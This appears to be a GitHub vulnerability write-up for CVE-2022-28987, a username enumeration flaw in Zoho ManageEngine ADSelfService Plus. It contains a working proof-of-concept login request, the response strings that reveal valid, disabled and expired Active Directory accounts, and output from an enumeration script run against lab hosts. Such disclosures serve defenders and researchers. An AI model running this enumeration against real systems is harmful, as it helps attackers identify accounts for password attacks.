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passtheticet Update adselfservice-userenum.md

History

1 contributor

48 lines (31 sloc) | 2 KB

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# Zoho ManageEngine ADSelfService Plus 6121 Username Enumeration CVE-2022-28987

- Version: 6.1 Build 6121
- Tested against: ADSelfService 6118 - 6121

The domain username (sAMAccountName) enumeration can be conducted through the app. The domain users which are enrolled to the AdSelfService can be enumerated according to response of the application.

Sending following POST request vulnerability is exploited:

PoC HTTP Request:

```
POST /ServletAPI/accounts/login HTTP/1.1
Host: target
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
```

Content-Length: 23

DNT: 1

Connection: close

Sec-GPC: 1

loginName=USERNAME

The Administrator, krbtgt, Guest are default accounts in the Active Directory. The krbtgt and guest accounts are disabled defaultly.

- If the user is not exist , the response is "eSTATUS":"Permission Denied. Kindly contact your Administrator."
- If the user is exist , the response is ""LOGIN\_STATUS":"PASSWORD", "WELCOME\_NAME": "{Username}"
- If the user is disabled for example Guest or krbtgt user, the response is "eSTATUS":"Your account has been disabled. Please see your system administrator."
- If the user is expired, the response is "eSTATUS":"Your account has expired. Please see your system administrator."

This screenshot shows a Burp Suite interface with a POST request to `/ServletAPI/accounts/login HTTP/1.1` from `192.168.1.134`. The request includes headers like `User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0` and a body with `loginName=Admin`. The response is an HTTP 200 status with several cookies and a JSON body: `{ "eSTATUS": "Permission Denied. Kindly contact your Administrator.", "REDIRECT_URI": "/authorization.do" }`.

This screenshot shows a Burp Suite interface with a POST request to `/ServletAPI/accounts/login HTTP/1.1` from `192.168.1.134`. The request includes headers like `User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0` and a body with `loginName=Administrator`. The response is an HTTP 200 status with several cookies and a JSON body: `{ "LOGIN_STATUS": "PASSWORD", "WELCOME_NAME": "Administrator" }`.

Send Cancel < > Target: https://192.168.1.134 HTTP/1

**Request**

```

1 POST /ServletAPI/accounts/login HTTP/1.1
2 Host: 192.168.1.134
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept: application/json, text/javascript, */*; q=0.01
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 X-Requested-With: XMLHttpRequest
9 Content-Length: 15
10 Origin: https://192.168.1.134
11 Dnt: 1
12 Referer: https://192.168.1.134/authorization.do
13 Te: trailers
14 Connection: close
15
16 loginName=Guest

```

**Response**

```

1 HTTP/1.1 200
2 Set-Cookie: JSESSIONID=0E10E50A23406F300D8E2B23D05ADCF; Path=/; Secure; HttpOnly
3 Set-Cookie: adscrf=7ba1c1fd-7208-4aeb-b773-8b496c7b266e; path=/; SameSite=None; Secure; priority=high
4 Set-Cookie: _zcsr_tmp=7ba1c1fd-7208-4aeb-b773-8b496c7b266e; path=/; SameSite=Strict; Secure; priority=high
5 Content-Type: application/json; charset=UTF-8
6 Content-Length: 120
7 Date: Tue, 08 Mar 2022 19:41:10 GMT
8 Connection: close
9
10 {
  "eSTATUS": "Your account has been disabled. Please see your system administrator.",
  "REDIRECT_URI": "/authorization.do"
}
11

```

**Request**

```

1 POST /ServletAPI/accounts/login HTTP/1.1
2 Host: 127.0.0.1:8181
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
4 Accept-Encoding: gzip, deflate
5 Accept: */*
6 Connection: close
7 Content-Length: 15
8 Content-Type: application/x-www-form-urlencoded
9
10 loginName=test2

```

**Response**

```

1 HTTP/1.1 200
2 Set-Cookie: JSESSIONID=0E10E50A23406F300D8E2B23D05ADCF; Path=/; Secure; HttpOnly
3 Set-Cookie: adscrf=7ff3c57d-faa6-4e30-97ed-3225e46a7836; path=/; SameSite=None; Secure; priority=high
4 Set-Cookie: _zcsr_tmp=7ff3c57d-faa6-4e30-97ed-3225e46a7836; path=/; SameSite=Strict; Secure; priority=high
5 Content-Type: application/json; charset=UTF-8
6 Content-Length: 114
7 Date: Wed, 06 Apr 2022 22:43:55 GMT
8 Connection: close
9
10 {
  "eSTATUS": "Your account has expired. Please see your system administrator.",
  "REDIRECT_URI": "/authorization.do"
}
11

```

```

[ root@parrot ]-[ /home/kandemir/research ]
#python adss-userenum.py
[*] Usage: adss-userenum.py url usernames_file
[*] Example: adss-userenum.py https://target/ /tmp/usernames.txt
[x]-[ root@parrot ]-[ /home/kandemir/research ]
#python adss-userenum.py https://192.168.1.222/ /tmp/usernames.txt
[+] Administrator is VALID!
[+] testuser is VALID!
[+] guest account has been DISABLED.
[+] krbtgt account has been DISABLED.
[-] admin is not found.
[ root@parrot ]-[ /home/kandemir/research ]
#

```